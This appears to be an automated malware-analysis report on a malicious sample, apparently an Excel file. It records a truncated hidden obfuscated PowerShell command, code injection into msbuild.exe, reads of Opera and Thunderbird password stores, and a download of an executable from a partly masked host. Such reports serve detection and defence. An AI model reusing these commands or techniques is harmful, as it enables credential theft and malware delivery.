Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function e939e3 {param($r61c3cf)$k9f4499='c9448';$v2a86b6='';for ($i=0; $i -lt $r61c3cf.length;$i+=2){$cfeeb=[convert]::ToByte($r61c3cf.Substring($i,2),16);$v2a86b6+=[char...
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\msbuild.exe
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\msbuild.exe
Reads files which store third party applications passwords
- %APPDATA%\opera software\opera stable\login data
- %APPDATA%\thunderbird\profiles.ini
Modifies file system
Creates the following files
- %TEMP%\qbazyxtv.0.cs
- %TEMP%\2zhsn3o1.0.cs
- %TEMP%\2zhsn3o1.cmdline
- %TEMP%\2zhsn3o1.out
- %TEMP%\cscb9fb.tmp
- %TEMP%\resba1b.tmp
- %TEMP%\2zhsn3o1.dll
- %TEMP%\x7w9nexb.0.cs
- %TEMP%\x7w9nexb.cmdline
- %TEMP%\x7w9nexb.out
- %TEMP%\cscca37.tmp
- %TEMP%\resca58.tmp
- %TEMP%\x7w9nexb.dll
- %TEMP%\qgo6wym9.0.cs
- %TEMP%\qwwmexbz.cmdline
- %TEMP%\qgo6wym9.cmdline
- %TEMP%\cscd8fd.tmp
- %TEMP%\resd90d.tmp
- %TEMP%\qgo6wym9.dll
- %TEMP%\9u3yi09u.0.cs
- %TEMP%\9u3yi09u.cmdline
- %TEMP%\9u3yi09u.out
- %TEMP%\cscebd9.tmp
- %TEMP%\resebe9.tmp
- %TEMP%\9u3yi09u.dll
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{6e3595f3-ee52-4bad-a3c9-83f9211214b7}.tmp
- %APPDATA%\wa87c.exe
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %TEMP%\0y7mnzzr.dll
- %TEMP%\qwwmexbz.dll
- %TEMP%\resb038.tmp
- %TEMP%\resae06.tmp
- %TEMP%\cscb027.tmp
- %TEMP%\qbazyxtv.out
- %TEMP%\mz6mdr1e.0.cs
- %TEMP%\mz6mdr1e.cmdline
- %TEMP%\mz6mdr1e.out
- %TEMP%\rxdhzplk.0.cs
- %TEMP%\rxdhzplk.cmdline
- %TEMP%\rxdhzplk.out
- %TEMP%\yxmovctx.0.cs
- %TEMP%\yxmovctx.cmdline
- %TEMP%\yxmovctx.out
- %TEMP%\0y7mnzzr.0.cs
- %TEMP%\0y7mnzzr.cmdline
- %TEMP%\0y7mnzzr.out
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %TEMP%\qgo6wym9.out
- %TEMP%\qwwmexbz.0.cs
- %TEMP%\csc99d1.tmp
- %TEMP%\res97fd.tmp
- %TEMP%\res99e1.tmp
- %TEMP%\rxdhzplk.dll
- %TEMP%\qwwmexbz.out
- %TEMP%\csca569.tmp
- %TEMP%\csca683.tmp
- %TEMP%\resa57a.tmp
- %TEMP%\yxmovctx.dll
- %TEMP%\resa6a3.tmp
- %TEMP%\qbazyxtv.dll
- %TEMP%\mz6mdr1e.dll
- %TEMP%\cscade5.tmp
- %TEMP%\qbazyxtv.cmdline
- %TEMP%\csc97fc.tmp
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
Deletes the following files
- %TEMP%\res97fd.tmp
- %TEMP%\resca58.tmp
- %TEMP%\2zhsn3o1.dll
- %TEMP%\2zhsn3o1.0.cs
- %TEMP%\2zhsn3o1.out
- %TEMP%\2zhsn3o1.pdb
- %TEMP%\x7w9nexb.out
- %TEMP%\2zhsn3o1.cmdline
- %TEMP%\resba1b.tmp
- %TEMP%\qwwmexbz.cmdline
- %TEMP%\qwwmexbz.out
- %TEMP%\qwwmexbz.dll
- %TEMP%\qwwmexbz.pdb
- %TEMP%\qwwmexbz.0.cs
- %TEMP%\cscb9fb.tmp
- %TEMP%\rxdhzplk.out
- %TEMP%\x7w9nexb.pdb
- %TEMP%\9u3yi09u.cmdline
- %TEMP%\9u3yi09u.out
- %TEMP%\9u3yi09u.dll
- %TEMP%\cscebd9.tmp
- %TEMP%\resebe9.tmp
- %TEMP%\qgo6wym9.cmdline
- %TEMP%\0y7mnzzr.out
- %TEMP%\cscca37.tmp
- %TEMP%\qgo6wym9.dll
- %TEMP%\qgo6wym9.out
- %TEMP%\cscd8fd.tmp
- %TEMP%\resd90d.tmp
- %TEMP%\x7w9nexb.dll
- %TEMP%\x7w9nexb.cmdline
- %TEMP%\qgo6wym9.0.cs
- %TEMP%\x7w9nexb.0.cs
- %TEMP%\0y7mnzzr.dll
- %TEMP%\0y7mnzzr.cmdline
- %TEMP%\0y7mnzzr.0.cs
- %TEMP%\csc99d1.tmp
- %TEMP%\csc97fc.tmp
- %TEMP%\resa57a.tmp
- %TEMP%\csca569.tmp
- %TEMP%\resa6a3.tmp
- %TEMP%\csca683.tmp
- %TEMP%\9u3yi09u.0.cs
- %TEMP%\res99e1.tmp
- %TEMP%\mz6mdr1e.cmdline
- %TEMP%\qbazyxtv.pdb
- %TEMP%\qbazyxtv.cmdline
- %TEMP%\qbazyxtv.0.cs
- %TEMP%\qbazyxtv.out
- %TEMP%\mz6mdr1e.out
- %TEMP%\qbazyxtv.dll
- %TEMP%\qgo6wym9.pdb
- %TEMP%\mz6mdr1e.dll
- %TEMP%\yxmovctx.out
- %TEMP%\mz6mdr1e.0.cs
- %TEMP%\0y7mnzzr.pdb
- %TEMP%\cscb027.tmp
- %TEMP%\resb038.tmp
- %TEMP%\cscade5.tmp
- %TEMP%\resae06.tmp
- %TEMP%\yxmovctx.dll
- %TEMP%\rxdhzplk.cmdline
- %TEMP%\mz6mdr1e.pdb
- %TEMP%\rxdhzplk.0.cs
- %TEMP%\rxdhzplk.pdb
- %TEMP%\yxmovctx.cmdline
- %TEMP%\yxmovctx.0.cs
- %TEMP%\yxmovctx.pdb
- %TEMP%\rxdhzplk.dll
- %TEMP%\9u3yi09u.pdb
Network activity
TCP
HTTP GET requests
- http://co##.penne.jp/scan5645.exe
UDP
- DNS ASK co##.penne.jp
Miscellaneous
Creates and executes the following
- '%APPDATA%\wa87c.exe'
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\9u3yi09u.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD90D.tmp" "%TEMP%\CSCD8FD.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qgo6wym9.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESCA58.tmp" "%TEMP%\CSCCA37.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\x7w9nexb.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBA1B.tmp" "%TEMP%\CSCB9FB.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2zhsn3o1.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB038.tmp" "%TEMP%\CSCB027.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESAE06.tmp" "%TEMP%\CSCADE5.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qwwmexbz.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\0y7mnzzr.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA6A3.tmp" "%TEMP%\CSCA683.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA57A.tmp" "%TEMP%\CSCA569.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES99E1.tmp" "%TEMP%\CSC99D1.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES97FD.tmp" "%TEMP%\CSC97FC.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\yxmovctx.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rxdhzplk.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\mz6mdr1e.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qbazyxtv.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESEBE9.tmp" "%TEMP%\CSCEBD9.tmp"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function e939e3 {param($r61c3cf)$k9f4499='c9448';$v2a86b6='';for ($i=0; $i -lt $r61c3cf.length;$i+=2){$cfeeb=[convert]::ToByte($r61c3cf.Substring($i,2),16);$v2a86b6+=[char...' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESEBE9.tmp" "%TEMP%\CSCEBD9.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\9u3yi09u.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD90D.tmp" "%TEMP%\CSCD8FD.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qgo6wym9.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESCA58.tmp" "%TEMP%\CSCCA37.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\x7w9nexb.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBA1B.tmp" "%TEMP%\CSCB9FB.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2zhsn3o1.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB038.tmp" "%TEMP%\CSCB027.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESAE06.tmp" "%TEMP%\CSCADE5.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\0y7mnzzr.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA6A3.tmp" "%TEMP%\CSCA683.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA57A.tmp" "%TEMP%\CSCA569.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES99E1.tmp" "%TEMP%\CSC99D1.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES97FD.tmp" "%TEMP%\CSC97FC.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\yxmovctx.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rxdhzplk.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\mz6mdr1e.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qbazyxtv.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qwwmexbz.cmdline"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\msbuild.exe'
